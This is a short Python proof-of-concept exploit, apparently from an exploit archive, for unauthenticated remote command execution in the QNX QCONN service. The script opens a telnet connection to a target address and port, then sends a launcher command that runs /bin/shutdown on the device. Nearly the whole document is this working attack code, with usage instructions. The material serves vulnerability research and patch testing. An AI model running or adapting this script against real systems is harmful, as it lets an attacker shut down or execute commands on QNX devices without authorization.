29 lines
No EOL
963 B
Python
Executable file
29 lines
No EOL
963 B
Python
Executable file
# Title : QNX QCONN Remote Command Execution Vurnerability
|
|
# Version : QNX 6.5.0 >= , QCONN >= 1.4.207944
|
|
# Download: http://www.qnx.com/download/feature.html?programid=23665 (QNX Neutrino 6.5.0 SP1)
|
|
# Vendor : http://www.qnx.com
|
|
# Date : 2012/09/09
|
|
# CVE : N/A
|
|
# Exploit Author : Mor!p3r(moriper[at]gmail.com)
|
|
|
|
import telnetlib
|
|
import sys
|
|
|
|
if len(sys.argv) < 3:
|
|
print " "
|
|
print " -----------------------------------------------------"
|
|
print " + Qconn Remote Command Execution PoC (Shutdown) +"
|
|
print " -----------------------------------------------------"
|
|
print " "
|
|
print " + Usage: QCONNRC.py <Target IP> <Port>"
|
|
print " + Ex> QCONNRC.py 192.168.0.1 8000"
|
|
print ""
|
|
sys.exit(1)
|
|
|
|
host = sys.argv[1]
|
|
port = int(sys.argv[2])
|
|
attack ="service launcher\n" + "start/flags 8000 /bin/shutdown /bin/shutdown -b\n" + "continue\n"
|
|
telnet = telnetlib.Telnet(host, port)
|
|
telnet.write(attack)
|
|
print "[+] Finish"
|
|
telnet.close() |